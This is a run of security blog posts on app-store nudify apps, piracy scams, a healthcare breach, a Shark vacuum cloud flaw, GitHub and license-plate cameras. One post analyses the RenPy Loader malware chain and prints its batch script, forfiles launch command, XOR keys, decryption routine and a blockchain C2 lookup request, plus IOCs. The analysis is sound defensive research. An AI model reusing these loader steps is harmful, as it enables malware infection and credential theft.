He has no shortage of evidence. In January, the TTP counted 55 nudification apps on the App Store and 47 on Google Play. In an April follow-up, the researchers deliberately used search terms like “nudify” and “deepnude.” They found 46 apps on the Apple App Store and 49 on Google Play. Roughly 40% of the stores’ search results allowed users to “undress” women, and almost one in three was rated as suitable for minors.

Although many of these apps are marketed using images of women, anyone can become a victim of non-consensual intimate imagery.

The nonprofit estimated that the apps in its dataset had been downloaded 483 million times and pulled in more than $122 million in lifetime revenue. Its verdict on Apple and Google was blunt:

“key participants in the spread of AI tools that can turn real people into sexualized images.”

Chiu’s letters reflect these findings, accusing both companies of

“knowingly facilitating or recklessly aiding the sale of those images by hosting the apps and handling in-app purchases”.

He also has California law to draw upon. A 2025 state statute in California expanded potential liability for entities that facilitate the creation or distribution of sexually explicit deepfakes. Civil penalties could reach $25,000 per violation. That’s serious for companies that transact millions of times every year.

Platforms have taken some action, but not enough

Chiu is doing more than kicking Apple and Google’s tires. His office already spent 2024 and 2025 pursuing 16 of the most-visited deepfake nude websites, resulting in real settlements and shutdowns. This is the same office, using the same playbook, against bigger targets.

Apple’s response has been partial. Spokesperson Adam Dema told WIRED that the company has removed three of the flagged apps and begun terminating the associated developer accounts. That leaves 10 of the 13 still available.

Google spokesperson Dan Jackson said the company had already deleted hundreds of apps with nudification features for Play Store policy violations.

If California courts accept the revenue-share theory, every other city attorney in the state gets a template. The app stores’ longstanding position that they are neutral distributors rather than commercial participants erodes wherever a state has consumer-protection statutes that reach payment infrastructure.

What this means for the rest of us

For consumers, the mechanics of these apps matter more than the litigation. Face-swapping and photo-effect apps aren’t automatically safe just because they passed store review. Grant one access to your camera roll and you could be handing over your own photos, or those of friends and family, to a service that could misuse them or allow others to do so.

Before you install an AI photo app, check what permissions it requests, look up the developer, and see whether independent reporting has raised concerns about it. Don’t assume an app is trustworthy simply because it’s available in an official app store. And our regular rules apply about posting images of yourself or those in your care.

If this story piqued your interest, you can hear more about Chiu’s work in our Malwarebytes podcast from last month, which re-airs the team’s 2024 interview with him.

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

Christopher Nolan’s The Odyssey is one of the biggest movie releases of the year and scammers wasted no time taking advantage of it. Within hours of the film’s release, we found scams targeting people looking for pirated copies. Some used fake browser warnings on piracy sites, while others disguised malware as movie downloads.

Some used fake browser error messages designed to funnel people through malvertising networks. Others offered what appeared to be movie downloads that were actually Windows executables disguised as video files.

Neither scam has anything to do with the movie itself. They’re simply taking advantage of people searching for a popular new release.

The Odyssey piracy scams we found

We observed two main tactics.

One used fake pop-ups claiming your browser was missing a required “component.” Clicking Fix It Now didn’t solve any problem. It simply routed visitors into a malvertising network. Exactly where those redirects ended depended on whatever campaign the network was serving at the time.

The second involved a file advertised as The Odyssey 2026 1080p WEBRip-LAMA. Once downloaded, however, it turned out to be an .exe file. That’s a Windows application, not a video.

Movies don’t need to run as programs. If a supposed movie download ends in .exe, it isn’t a movie.

The fake “Browser Issue Detected” warning

On cloned piracy sites listing The Odyssey torrents, we encountered a fake browser pop-up claiming Browser Issue Detected. It warned that a “missing component” was preventing full access. It presented a prominent Fix It Now button, with a much smaller Close and Continue Browsing option underneath.

There was no missing browser component. The entire pop-up was part of the webpage itself, designed to look like a genuine browser warning.

What made this particularly interesting was how consistently it appeared. We found the same overlay—identical wording, identical layout, with only the branding colors changed—across multiple cloned torrent sites.

These were not the genuine torrent trackers, but convincing copies designed to impersonate well-known piracy sites that reproduced real listing layouts, artwork, and cast information for The Odyssey, then displayed the fake browser warning on top. Taken together, the cloned websites and identical pop-ups strongly suggest a coordinated campaign built to capture searches for a major new release, rather than legitimate torrent sites that had been compromised.

Clicking Fix It Now typically sends visitors through one or more advertising redirects. Depending on which campaign is active at that moment, users may eventually land on:

• A fake browser extension
• Scareware urging them to call a fake technical support number
• Another redirect attempting to deliver malware

The final destination can vary from one visit to the next because the underlying ad network changes what it serves over time.

A movie that was actually a program

The second scam targeted people who actually tried to download the movie. We also found a listing named The Odyssey 2026 1080p WEBRip-LAMA.exe, advertised as a 1080p WEBRip release with 597 seeders and 520 leechers.

Windows immediately identified the download as an Application, confirming what the file extension had already revealed.

Legitimate movie downloads use video containers such as .mkv, .mp4, or .avi. These files are opened by a media player, they do not execute code.

Several other details stood out.

The file description read “wireless bus Business Controller,” which has nothing to do with video playback and was likely leftover metadata from whatever software was originally used to build the executable.

The file also displayed VLC Media Player’s familiar orange traffic cone icon, despite being an application rather than a video file. That’s a classic social engineering trick. VLC is one of the world’s most widely used media players, so many people instinctively associate its icon with a harmless video. In a downloads folder, the file looks like something you can safely double-click when, in reality, doing so executes an unknown program with your own user permissions.

Files packaged this way (with misleading extensions, spoofed icons, and inconsistent metadata) are a well-established malware delivery technique.

Picked up something you shouldn’t have?

RUN A FREE VIRUS SCAN

What runs after the user launches the file depends on the campaign. It could be:

• A Trojan that opens a backdoor into the system
• An infostealer that steals saved passwords and browser sessions
• A loader that downloads additional malware
• In some cases, ransomware

It’s also worth remembering that large numbers of seeders don’t prove a file is safe. They only indicate that many people are sharing it, and plenty of people unknowingly distribute malicious files.

Why these scams work

Neither scam relied on exploiting a software vulnerability.

Instead, both relied on convincing someone to take the next step: clicking a fake browser warning or running what they believed was a movie.

That’s much harder for security software to prevent completely, because browsers can’t reliably distinguish between a genuine browser message and one rendered entirely in a webpage’s HTML. Likewise, antivirus software can’t flag every executable simply because it uses a misleading icon or contains unusual metadata, as many legitimate applications do too.

Security software still plays an important role. It can block known malicious websites, detect malware after it’s identified, and stop many malicious downloads or redirects before they complete.

But recognizing that a “movie” ending in .exe is never really a movie remains one of the simplest and most effective security checks users can make themselves.

What to do if you may have been affected

• If you clicked Fix It Now and something unexpected downloaded or opened afterward, run a full Malwarebytes scan.
• If you ran a supposed movie that turned out to be an .exe, disconnect the computer from the network, perform a full malware scan, and avoid using the device for banking, email, or other sensitive accounts until you’re confident it’s clean.
• Check your browser for extensions you don’t remember installing and remove anything unfamiliar.
• If you executed an unknown program, change passwords for important accounts from a separate, trusted device.
• Treat any pirated “movie” that isn’t a standard video format as suspicious. There is no legitimate reason for a movie download to be a Windows application.

Closing thoughts

Piracy-adjacent malvertising and fake-movie droppers persist because they don’t need to be sophisticated. They only need a title popular enough to guarantee search traffic. A $250 million IMAX epic with a year of ticket pre-sales behind it is about as close to guaranteed traffic as the piracy economy gets, which is why these scams surfaced within hours of release day rather than weeks later.

If you’re downloading a film and it asks you to install something, fix your browser, or run an .exe, you’re almost certainly not getting a movie. You’re downloading software that could infect your computer.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Abbott Laboratories, one of the world’s largest healthcare and medical device companies, is investigating two apparently unrelated cyber incidents after confirming unauthorized access to internal systems. While Abbott says there has been no impact on manufacturing, laboratory operations, or patient care, cybercriminal groups ShinyHunters and ShadowByt3$ claim the breaches were far more extensive. Those claims remain unverified at the time of writing and, so far, unsupported by publicly leaked data.

The incidents reportedly involve Abbott’s Cancer Diagnostics business and its LabCentral customer portal for core laboratory diagnostics.

Several news outlets point to an official statement by Abbott, which has since been removed:

“Unauthorized access was limited to internal systems of the Cancer Diagnostics business only, with no impact to other Abbott businesses, sites, systems, product availability, manufacturing, or lab operations.”

Regarding LabCentral, Abbott told reporters that it is an externally hosted portal and that there has been “no known exposure of sensitive customer or business information.”

ShinyHunters told BleepingComputer it stole internal documents, contracts, customer information, more than 22 million doctor‑patient notes, over 20 million medical orders, and more than one million US Social Security numbers, along with personally identifiable information (PII) such as names, addresses, dates of birth, emails, and phone numbers.

On July 18, ShinyHunters gave Abbott until July 21 to respond before leaking the alleged data:

Extended deadline

“This is a final warning to reach out by 21 July 2026 before we leak along with several annoying (digital) problems that’ll come your way. Make the right decision, don’t be the next headline”

The threat of “digital problems” is a familiar one from ShinyHunters. During the Canvas attacks, the group defaced school login pages and the Canvas app with an on‑screen ransom message.

Separately, ShadowByt3$ claims it accessed the LabCentral portal on July 4, using compromised customer credentials plus a “weak point” in the environment, allegedly exfiltrating technical documentation, manufacturing certificates, operating manuals, technical specs, and regulatory docs for Abbott lab systems.

If the attackers’ claims prove accurate, the breach could affect healthcare providers that use Abbott’s diagnostic systems and potentially expose sensitive patient and healthcare data. Abbott, however, says it has found no evidence that sensitive customer or business information was exposed through the LabCentral incident and has not confirmed any patient data was compromised.

What we can reasonably assume to be true

• There was a genuine compromise affecting Cancer Diagnostics systems. Abbott has publicly acknowledged unauthorized access and engaged incident response and law enforcement. This doesn’t appear to be a purely “fake” extortion attempt.
• There was also a separate cyber incident involving the LabCentral portal. Abbott says the portal primarily hosts public reference material and that it has found no evidence that sensitive customer or business information was exposed.
• Both ShinyHunters and ShadowByt3$ have listed Abbott on their extortion sites and have provided narrative details to media outlets, so this is not just generic name‑dropping.
• As of the latest reporting, neither group has publicly released samples of the data they claim to have stolen.

What Abbott customers can do

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened and follow any specific advice they offer.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose and store one for you.
• Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
• Watch out for impersonation scams. Criminals may contact you pretending to be the company. Check the company’s website to see how it is contacting affected customers, and verify anyone who contacts you using a different communication channel.
• Take your time. Phishing attacks often impersonate people or brands you know, and create a false sense of urgency with messages about missed deliveries, suspended accounts, or security alerts.
• Consider not storing your card details. It’s definitely more convenient to get sites to remember your card details for you, but we highly recommend not storing that information on websites.
• Set up identity monitoring. Identity monitoring alerts you if your personal information is found being traded illegally online and helps you recover if your identity is stolen.

What do cybercriminals know about you?

Use Malwarebytes’ free Digital Footprint scan to see whether your personal information has been exposed online.

SCAN NOW

We have detected several campaigns using fake downloads of games, mods, cracks, and software to spread RenPy Loader. Once installed, the loader starts a complex, multi-stage infection chain that abuses MSBuild and the EtherHiding technique before ultimately delivering Amatera Stealer.

Amatera is an infostealer—a type of malware designed to steal sensitive information from an infected device. It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. Stolen credentials and session data may also allow attackers to access the victim’s online accounts.

The victim may see what appears to be a normal game or software installer while the malware runs silently in the background.

RenPy Loader, also known as RenEngine Loader, is particularly interesting because it abuses Ren’Py, a legitimate engine used to create visual novels, story-driven games, and interactive fiction. By hiding malicious code inside software associated with gaming, attackers can make their downloads appear more believable to people looking for games, mods, or cracked software.

We’ve previously seen attackers misuse legitimate development tools and emerging software frameworks, including Bun and Deno, to distribute malware. RenPy Loader follows the same pattern: Attackers abuse legitimate technology to disguise malicious activity, complicate the infection chain, and make detection more difficult.

RenPy Loader has also been observed delivering other malware, including HijackLoader and Lumma Stealer, showing that the final payload can vary between campaigns.

In this blog, we analyze an infection chain in which Ren’Py decrypts a ZIP archive containing a BAT file and several MSBuild project files. These files load a trojanized .NET component, which then decodes another malicious component.

That malicious component uses a technique called EtherHiding to locate its command-and-control (C2) server. Instead of storing the C2 address directly inside the malware, the attackers hide it in data stored on a public blockchain. The malware then downloads the next stages of the attack from that server, making the attackers’ infrastructure more difficult to identify and disrupt.

Finally, we examine the additional payloads that ultimately decrypt and execute Amatera Stealer.

Fake downloads infect your device

The infection begins when someone downloads a supposed game, mod, crack, or piece of software. We found malicious files distributed through:

• Fake download websites
• itch.io pages
• File-sharing services such as Wormhole, GoFile, Google Drive, and MEGA

Here are some of the detected pages that start the infection chain:

In several cases, clicking a download link redirected the user to another fake download website. These pages used different designs and invented service names, helping the campaigns appear less repetitive and making the malicious infrastructure harder to recognize.

Below are examples of fake download pages used to distribute the malicious archive:

The user downloads an archive containing a file named Setup.exe. Opening this file starts the infection chain.

Example of an archive downloaded from a malicious website

The victim sees a loading or installation screen, but malicious code is running in the background.

The installation screen How to stay safe

A few precautions can reduce the risk of downloading malicious games or software:

• Download games and software from official websites, trusted app stores, or established distribution platforms.
• Treat cracked software, unofficial mods, and free versions of paid games with caution.
• Be wary when a download link redirects you through several unfamiliar websites or file-sharing services.
• Check the contents of downloaded archives before opening executable files such as Setup.exe.
• Look for unusual filenames, unrelated images or text files, and content that does not match what you intended to download.
• Use real-time anti-malware software such as Malwarebytes.
• Keep your operating system, browser, and security software up to date.

The people behind these campaigns continually create new websites and change their download pages. A professional-looking installer or familiar file-sharing service does not guarantee that a download is safe.

Technical analysis of RenPy loader

Ren’Py is a free, open-source engine for creating visual novels, story-driven games, and interactive fiction. Ren’Py allows the integration of Python scripts, which attackers abuse to insert malicious code.

In this case, we found malicious code in the following files and paths:

.kb-table-container437867_d88d21-72{max-height:866px;overflow-x:auto;}.kb-table437867_d88d21-72 tr > *:nth-child(1){width:30%;}.kb-table437867_d88d21-72 tr > *:nth-child(2){width:30%;}.kb-table437867_d88d21-72{table-layout:fixed;width:100%;}.kb-table-container .kb-table437867_d88d21-72 th{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:center;}.kb-table-container .kb-table437867_d88d21-72 caption{text-align:center;}.kb-table-container .kb-table437867_d88d21-72 td{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:left;}.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}@media all and (max-width: 1024px){.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}@media all and (max-width: 767px){.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}

Path

Description

data/python-packages/sys_config/

Anti-sandbox classes

data/libwin32.rpa

Loader

data/.GEg

XOR-encrypted config

data/j3lpTcg7kBRN.E3

XOR-encrypted ZIP

The first-stage loader extracted from libwin32.rpa performs the following operations:

• Reads the config data/.GEg and decrypts it using Base64 decoding and XOR with the key 81034149cd6f48c8821340204f92766e. This config contains the password used to extract the ZIP, along with other configuration data used by the loader.
• Calls sys_config.is_sandboxed() and exits if a sandbox is detected.
• XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP.
• Extracts the ZIP contents to a random folder under %TEMP%/tmp-{5 digits}-{12 characters} and writes a :Zone.Identifier alternate data stream (ADS) with ZoneId=0 to remove the Mark of the Web and bypass SmartScreen. It also inserts a random REM string into the extracted BAT file.
• Launches the payload using forfiles.exe.
• Sends the machine’s MAC address and campaign ID to a tracking website.

The decoded config The files contained in the decrypted ZIP

In this case, the extracted BAT file was executed using the following command:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contents of the BAT file:

@echo off setlocal DisableDelayedExpansion set "_bp=%~f0" set "_rl=0" if /i "%~1"=="/launched" set "_rl=1" if /i "%~2"=="/launched" set "_rl=1" if /i "%~3"=="/launched" set "_rl=1" if /i "%~4"=="/launched" set "_rl=1" if /i "%~5"=="/launched" set "_rl=1" if /i "%~6"=="/launched" set "_rl=1" if /i "%~7"=="/launched" set "_rl=1" if /i "%~8"=="/launched" set "_rl=1" if /i "%~9"=="/launched" set "_rl=1" if "%_rl%"=="1" goto :_go set "_ch=%SystemRoot%\System32\conhost.exe" if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe" where conhost.exe >nul 2>&1 if %errorlevel% equ 0 ( endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched ) else ( endlocal & cmd.exe /c "%_bp%" /launched ) exit /b 0 :_go endlocal setlocal EnableExtensions set MSBUILDENABLEALLPROPERTYFUNCTIONS=1 set "_czzf=%~dp0Nancy.csproj" set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" if not exist "%_pb%" ( exit /b 9 ) "%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1 endlocal

The executed BAT file performs the following operations:

• Relaunches itself in a hidden or headless console:

"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c

• Enables MSBuild property functions, allowing additional methods such as AppDomain.CurrentDomain.Load to be executed:

MSBUILDENABLEALLPROPERTYFUNCTIONS=1

• Executes MSBuild.exe with Nancy.csproj as its project file. During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.

The trojanized Nancy DLL and custom bytecode

Nancy.csproj imports the three extracted files Nancy.csproj.user, Internal.props, and Nancy.Compile.targets. The malicious DLL is split across three values stored in these files.

The imported files inside Nancy.csproj

Nancy.Compile.targets concatenates the three values to hex-decode the DLL and execute the DefaultEvaluator5 method using AppDomain.CurrentDomain.Load.CreateInstance.

Execution of DefaultEvaluator5

The interesting part is that Nancy.csproj serves two purposes: It is the MSBuild project used to execute the first-stage loader, and it also contains the next stage decoded by the loader.

The DLL is a trojanized version of the Nancy .NET library and is an obfuscated .NET loader with malicious code implemented in the DefaultEvaluator5 class. Some of the DLL’s functionality is implemented in custom bytecode executed by this main method.

Comparison between the legitimate and trojanized Nancy DLLs

The DLL performs the following operations:

• Decrypts strings from resources using multi-key XOR decryption.
• Resolves APIs using API hashing and GetDelegateForFunctionPointer.
• Changes network settings, including disabling TLS certificate validation and setting the default system proxy.
• Performs anti-forensics operations.
• Reads the _czzf environment variable, which points to the previous Nancy.csproj file, then decodes and executes it.

The main DefaultEvaluator5 method retrieves strings and interprets the bytecode contained in the following resources:

• Nancy.Runtime.mvlorimu: Contains the custom bytecode. The bytecode is interpreted by _pv and _sro. It implements 23 opcodes used to decrypt other strings and load the next-stage DLL.
• Nancy.Data.tcnlhxw and Nancy.Resources.kxxodp: Contain the encrypted strings and other data used for decryption, including keys, lengths, indexes, and the S-box.

The strings are decrypted using the following algorithm:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

The next DLL stage, GollopDevest, is decoded from the same Nancy.csproj file using the following logic and loaded with AppDomain.Load:

for i, k in enumerate(marker_int): if k < 256: payload[i] = k else: payload[i] = marker_int[k-256] The encoded next stage between the Pack markers EtherHiding and Amatera Stealer

The next extracted stage is a DLL called GollopDevest.dll, a .NET downloader that uses the EtherHiding technique to obtain its command-and-control (C2) server and download the next stage.

The encrypted C2 domain is obtained using an Ethereum JSON-RPC eth_call request to bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

This EtherHiding downloader is likely part of a malware-as-a-service (MaaS) operation, as we have detected it being distributed in other campaigns, including ClickFix campaigns.

Three additional payloads are then downloaded: two .NET DLLs called PavinWide (an anti-analysis DLL) and GollopDevest (a loader DLL), and a C++ DLL called LanoseThrip, which ultimately decrypts and loads Amatera Stealer.

In this case, these payloads were downloaded from:

• /assets/ExponeAboard.json
• /assets/MailersKogasin.json
• /assets/LanoseThrip.json

The .NET DLLs are heavily obfuscated using control flow flattening, indirect calls through calli/ldftn, string encryption with several algorithms, junk code, dead code, and fake strings such as URL paths.

The analysis of these DLLs is still ongoing and will be explored in more detail in the next blog posts.

Indicators of Compromise (IOCs) Domains

• downpro[.]net – Fake download website
• macisofile[.]sbs – Fake download website
• visitmama[.]blog – Fake download website
• visitmama[.]guru – Fake download website
• getgamerfree[.]com – Fake download website
• fullgames[.]digital – Fake download website
• flingbase[.]net – Fake download website
• citronemu[.]com – Fake download website
• filemodo[.]xyz – Distribution infrastructure
• storage06x[.]cfd – Distribution infrastructure
• p03sil[.]cyou – Distribution infrastructure
• wimsedas[.]xyz – Distribution infrastructure
• againstmor[.]store – Distribution infrastructure
• host03q[.]cfd – Distribution infrastructure
• cloud01y[.]cfd – Distribution infrastructure
• storage11x[.]cfd – Distribution infrastructure
• storage04x[.]cfd – Distribution infrastructure
• host82p[.]cfd – Distribution infrastructure
• cloud05y[.]cfd – Distribution infrastructure
• analyticstrack-pzh[.]click – Tracking website
• login.orbitalframework[.]cc – Amatera Stealer C2

IP addresses

• 144.124.251[.]171 – Used to obtain additional payloads
• 195.63.140[.]33 – Used to obtain additional payloads
• 78.40.196[.]252 – Used to obtain additional payloads

File hashes (MD5)

• 29203ca123d51b1b33505a0813d360df – First-stage loader (Trojanized DLL)
• 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (Downloader DLL)
• 681DB529E402467A4B0567C82A350FC0 – PavinWride DLL (Anti-analysis DLL)
• 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest DLL (Loader DLL)
• F8453EFE408CE25B9484F872797E3D63 – Final payload

“One of the best cybersecurity suites on the planet.” 

According to CNET. Read their review →

Last week on Malwarebytes Labs:

• Shark vacuum flaw exposes cameras, home maps and Wi-Fi passwords
• How to use GitHub safely
• The backlash against Flock cameras is spreading
• Security updates available for Adobe, Chrome, Firefox, VMWare, and Zoom
• Samsung backs down on threat to delete health data
• Claude for Chrome flaw could let rogue extensions access your Gmail
• July 2026 Patch Tuesday fixes 622 Microsoft CVEs, including three zero-days
• This fake Apple app can unlock your Mac’s password vault
• Warning: Scammers are using FaceTime to empty bank accounts
• The inside job that cost ransomware victims millions
• Trusting your kids online isn’t enough (Lock and Code S07E14)
• Ghostcommit attack hides malicious AI instructions in images
• Fake crypto gift card sites are getting harder to spot

Stay safe!

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

Shark’s cloud-connected robot vacuums are currently exposed by an unpatched AWS (Amazon Web Services) IoT (Internet of Things) policy flaw that could turn one compromised device into a remote-control skeleton key for many others in the same region, with access to cameras, maps, and Wi‑Fi passwords.

A researcher using the handle tokay0 took apart a Shark RV2320EDUS robot vacuum and found that its embedded AWS IoT certificate is allowed to publish and subscribe to topics for any Shark device in the same AWS Region, not just itself.

An AWS Region is a distinct geographical location where Amazon clusters its cloud data centers. Each AWS Region is completely isolated from the others. There are currently 39 AWS Regions worldwide.

By design, AWS provides per-device “shadows” that store state such as configuration and commands. However, Shark’s overly permissive Message Queuing Telemetry Transport (MQTT) policy lets a stolen certificate talk to other vacuums’ shadows as well.

Simply put, this means that each vacuum is supposed to have its own private “inbox” in the cloud. Because Shark’s cloud rules are too broad, a certificate stolen from one vacuum can also send commands to other vacuums’ inboxes.

While the certificate was extracted from the vacuum using physical access and a debug console, meaning the initial compromise requires hands‑on access, the subsequent abuse is remote and cloud‑based.

For owners, this is not just about someone starting your vacuum at 3:00 am. According to the researcher, an attacker with that cloud access could:

• Watch from the vacuum’s camera, turning it into a mobile surveillance device inside your home.
• Steal the Wi‑Fi password, which the researcher says is stored in plaintext, potentially giving them a foothold on your local network.
• Copy the vacuum’s map of your house, revealing room layouts and how frequently different areas are used.

We have seen before how “smart” vacuums can become privacy and safety risks when vendors cut corners on security. Malwarebytes Labs has covered how Ecovacs robot vacuums could be hijacked to play obscene messages and spy on users through their speakers and sensors, showing how quickly a helpful household appliance can become an unwanted house guest.

Using the certificate from his own vacuum, the researcher was able to monitor traffic from Shark devices in the same AWS Region and determine which ones supported remote command execution. During a 24‑hour period in a single AWS Region, the researcher observed 1,517,605 unique Shark serial numbers and observed 673,816 devices (about 44%) responded in a way that indicated support for the remote command execution feature.

The researcher wrote:

“It is difficult to estimate the exact number of affected devices and even more difficult to find which devices have these misconfigured certificates that allow cross-device publishing.”

But concluded that:

“A very large number of SharkNinja IoT devices are affected by this vulnerability.”

How to stay safe

The problem at the heart of this issue is a cloud-side policy that is not strict enough. That makes this a server-side problem, not a firmware bug you can patch yourself.

According to the researcher, SharkNinja has not fixed the vulnerability despite being notified more than six months ago. Until that changes, owners should:

• Put pressure on Shark to fix the issue.
• Disable remote control for the vacuum or disconnect it from Wi-Fi if you do not need its smart features.
• Watch for announcements from Shark about a fix, CVE, or recall.

Browse like no one’s watching. 

Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal. Try it free → 

GitHub is rapidly becoming the go-to platform for sharing software. Originally built for developers to collaborate on code, it now hosts millions of projects ranging from hobby scripts to widely used applications. That popularity, however, has also made it an attractive delivery platform for cybercriminals.

For most home users, GitHub is not something you need to use in your daily life. You might encounter it when searching for a tool, following installation instructions, or trying out something recommended on a forum or social media. And that’s where the risk begins. GitHub is not an app store. It does not check every repository for safety, and anyone can upload code, including cybercriminals.

Recent campaigns highlight how this can be abused. We’ve seen cybercriminals create convincing repositories that impersonate well-known brands like Malwarebytes and LastPass, offering downloads that are anything but legitimate. In other cases, hundreds of repositories have been spun up to distribute Trojanized versions of popular software. These pages often look polished, include documentation, and even fake user engagement to appear trustworthy.

We’ve also seen campaigns targeting specific groups, including retro-gamers, people looking for free AI agents, OpenClaw users, and people searching for AppleCare+ service.

What exactly is GitHub, and when should you use it?

At its core, GitHub is a code hosting platform. Developers use it to share source code, track changes, and collaborate. For home users, its legitimate uses include:

• Accessing open-source tools that are not available elsewhere
• Downloading updates or beta versions directly from developers
• Viewing the source code to understand how software works

For developers, GitHub is indispensable. For home users, it’s optional and should be approached with the same caution you’d apply to downloading files from anywhere else on the internet.

Unless you have a specific reason, you don’t need to download software from GitHub. Most mainstream applications have official websites or trusted distribution channels. If you find yourself on GitHub because a search result or online guide led you there, that’s a good moment to slow down and verify what you’re looking at.

How to stay safe

Malicious repositories often rely on a mix of social engineering and technical shortcuts. Some red flags include:

• Brand impersonation: The repository claims to be from a well-known company, but the account name doesn’t match the official organization. Attackers often use subtle variations or newly created accounts.
• Recently created accounts: A repository tied to an account that was created days or weeks ago is a warning sign, especially if it claims to host established software.
• Unusual download methods: Legitimate projects typically provide source code and, where appropriate, clearly documented releases. Be cautious if you’re encouraged to download executables directly from obscure links or archives.
• Inflated or fake activity: Star counts, forks, and issues can be manipulated. A repository with lots of stars but little meaningful discussion or contribution history may not be what it seems.
• Poor or generic documentation: Many malicious repositories copy text from legitimate projects but fail to maintain consistency. Look for vague instructions, broken links, or mismatched branding.
• Security warnings ignored: If your browser, antivirus, or operating system flags a download, take it seriously. These warnings are often your first line of defense.

Cybercriminals are increasingly exploiting trusted platforms to blend in and bypass traditional defenses. Recognizing that shift is key. The next time you land on a GitHub page offering a convenient download, take a closer look. A few extra seconds of scrutiny can save you from installing something you never intended.

• Use an up-to-date, real-time anti-malware solution and don’t ignore its warnings—even if, or especially if, the “developer” tells you to expect them.
• Remember that GitHub repositories do not undergo a vetting process. The responsibility for deciding what you can safely download ultimately lies with you.
• It’s usually safer to start from the vendor’s official website and follow its link to GitHub, rather than the other way around.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Flock-style ALPR systems carry serious privacy and civil-liberties risks, and the backlash is now starting to show up in agency decisions too.

For those not yet familiar with Flock, Flock Safety operates an automated license plate recognition (ALPR) system that uses cameras and computer vision to identify and log vehicle license plates.

According to ACLU.org, in the US there are currently:

“80,000–100,000 Flock cameras in both urban and rural areas on highways, in neighborhoods, and outside your local hardware store.”

Automated license plate readers were sold as a crime-fighting tool, but growing evidence suggests the privacy and accountability problems surrounding Flock are becoming increasingly difficult to dismiss. A growing number of incidents now show the same pattern: broad surveillance, shaky oversight, and enough operational risk to create real harm for ordinary people.

ALPR systems create durable location records about people who are not suspected of anything. Every scan can become part of a searchable trail, and once that data is collected, the risks expand through misuse, unauthorized sharing, vendor practices, and simple errors.

Abuse and errors

One of the most troubling aspects is how easily this technology can be misused. Straight Arrow News (SAN) reported that another police officer was charged after allegedly abusing Flock surveillance tools, adding to a growing list of cases in which officers have allegedly misused license plate reader systems for personal reasons, including stalking and monitoring ex-partners or protesters. An Institute for Justice analysis identified at least 22 cases nationwide in which officers allegedly abused ALPR to keep tabs on their romantic interests, with the bulk of those incidents happening since 2024.

That misuse problem is amplified by how widely the data can spread once it enters the system. Earlier this year, we reported that Mountain View disabled its Flock cameras after discovering that Flock had shared license plate data with hundreds of agencies, including federal entities, without permission, and that some lookup features had been activated without the city’s intent or knowledge. That kind of unauthorized sharing turns a local surveillance tool into a much broader data-exchange network with far weaker public visibility than most residents would expect.

Then there is the accuracy problem. SAN also reported that the Los Angeles Police Department (LAPD) allowed its Flock pilot contract to expire after an inspector general audit found 161 vehicles were falsely flagged as stolen over a two-month period. The audit concluded that 32.3% of the alerts it reviewed were inaccurate. When the system gets it wrong that often, the result is not just inconvenience. It can lead to unnecessary stops, detentions, and avoidable confrontations with law enforcement.

As the audit by the department’s inspector general stated:

“When a license plate matches with a vehicle of interest on a Hot List, an alert will appear on the police vehicle’s Mobile Digital Computer. Often, officers will approach the vehicle with extreme caution or conduct a ‘high-risk’ stop. This involves calling for back up, air support and a supervisor and ordering the suspect out of their vehicle.”

What makes this notable is that the criticism is no longer limited to privacy advocates and researchers. Some agencies are now acting on the concerns themselves, whether by ending contracts, disabling camera networks, or pausing renewals until privacy and oversight rules improve.

